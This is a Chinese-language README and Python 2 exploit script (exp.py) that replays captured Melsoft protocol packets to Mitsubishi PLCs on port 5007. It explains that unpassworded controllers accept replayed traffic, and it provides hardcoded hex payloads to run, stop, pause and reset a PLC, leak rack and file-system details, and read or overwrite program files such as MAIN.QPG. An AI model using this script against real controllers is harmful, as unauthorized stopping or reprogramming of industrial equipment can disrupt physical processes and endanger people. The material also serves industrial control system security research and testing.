三菱PLC控制脚本

三菱系列PLC,Melsoft私有协议,但如果没有配置口令,则可以直接进行重放攻击,通过wireshark抓取组态软件与PLC的通信报文即可获得控制PLC的数据包,重放即可。

相关研究文章:

相关文档:

目前功能如下:

  1. 启动、停止、暂停、重置
  2. 查看PLC状态
  3. 泄露架子信息
  4. 泄露文件系统
  5. 读写文件

用法:

  python exp.py 192.168.2.1 stop
  python exp.py 192.168.2.1 run
  python exp.py 192.168.2.1 pause
  python exp.py 192.168.2.1 reset
  python exp.py 192.168.2.1 state
  python exp.py 192.168.2.1 leak 
  python exp.py 192.168.2.1 listfile
  python exp.py 192.168.2.1 readfile MAIN.QPG
  python exp.py 192.168.2.1 writefile MAIN.QPG 1111111111111111
import socket,sys
s = socket.socket()
s.connect((sys.argv[1],5007))
if sys.argv[2]=="run" :
    s.send("57000000001111070000ffff030000fe03000016001c080a08000000000000000410019a00000001000000".decode("hex"))
    s.recv(1024)
elif sys.argv[2]=="stop":
    s.send("57000000001111070000ffff030000fe03000014001c080a0800000000000000041002630000000100".decode("hex"))
    s.recv(1024)
elif sys.argv[2]=="pause":
    s.send("57000000001111070000ffff030000fe03000014001c080a0800000000000000041003040000000100".decode("hex"))
    s.recv(1024)
elif sys.argv[2] == "state":
    s.send("57001f00001111070000ffff030000fe03000012001c080a080000000000000004080228000000".decode("hex"))
    r = s.recv(1024)
    if(r[0x2f]=='\x20'): print "run"
    elif(r[0x2f]=='\x22'): print "stop"
    elif(r[0x2f]=='\x23'): print "pause"
elif sys.argv[2] == "reset":
    s.send("57000000001111070000ffff030000fe03000014001c080a0800000000000000041002630000000100".decode("hex"))
    s.recv(1024)
    s.send("57000a00001111070000ffff030000fe03000014003c080a08000000000000000410060a0000000100".decode("hex"))
    s.recv(1024)
elif sys.argv[2] == "leak":
    s.send("57000000001111070000ffff030000fe03000014001c080a08000000000000000401012a0000000001".decode("hex"))
    r = s.recv(1024)[0x29:0x39]
    s.send("57000f00001111070000ffff030000fe0300001a001c080a0800000000000000040b050f0000000201540054000000".decode("hex"))
    r += s.recv(1024)[0x53:]
    s.send("57001000001111070000ffff030000fe0300001a001c080a0800000000000000040b05100000000201a80054000000".decode("hex"))
    r += s.recv(1024)[0x28:]
    print r.replace("A ","\nA ").replace(" 0"," ")
elif sys.argv[2] == "listfile":
    for i in range(1,9):
        try:
            payload = "57001900001111070000ffff030000fe0300001e001c080a080000000000000004181019000000000000000000"+str(i).zfill(2)+"0001000000"
            s.send(payload.decode("hex"))
            a = s.recv(1024)
            print a[0x2b:0x37],
            print int(a[0x47:0x49][::-1].encode("hex"),16)
        except:
            pass
elif sys.argv[2] == "readfile":
    s.settimeout(5)
    name = sys.argv[3]
    payload = name.encode("hex")
    length =  hex(len(name)+29)[2:]
    # open file 1827
    s.send(("57005c00001111070000ffff030000fe030000"+length+"001c080a08000000000000000418279600000000000000000000000a00"+payload+"00").decode("hex"))
    s.recv(1024)
    # read file 1828
    s.send("57005d00001111070000ffff030000fe0300001a001c080a0800000000000000041828900000000000000000008007".decode("hex"))
    r  = ""
    while True:
        try: r += s.recv(1024)
        except:break
    print r[0x2b:]
    # close file 182a
    s.send("57007400001111070000ffff030000fe03000016001c080a080000000000000004182aae00000000000100".decode("hex"))
    s.recv(1024)
elif sys.argv[2] == "writefile":
    s.settimeout(5)
    name = sys.argv[3]
    payload = name.encode("hex")
    length =  hex(len(name)+29)[2:]
    # open file 1827
    s.send(("57005c00001111070000ffff030000fe030000"+length+"001c080a08000000000000000418279600000000000000000100000a00"+payload+"00").decode("hex"))
    s.recv(1024)
    data = sys.argv[4]
    content = data.encode("hex")
    length = hex(len(data)+26)[2:]
    # write file 1829
    s.send(("57001a00001111070000ffff030000fe030000"+length+"001c080a08000000000000000418291a0000000000000000008007"+content).decode("hex"))
    s.recv(1024)
    # close file 182a
    s.send("57007400001111070000ffff030000fe03000016001c080a080000000000000004182aae00000000000100".decode("hex"))
    s.recv(1024)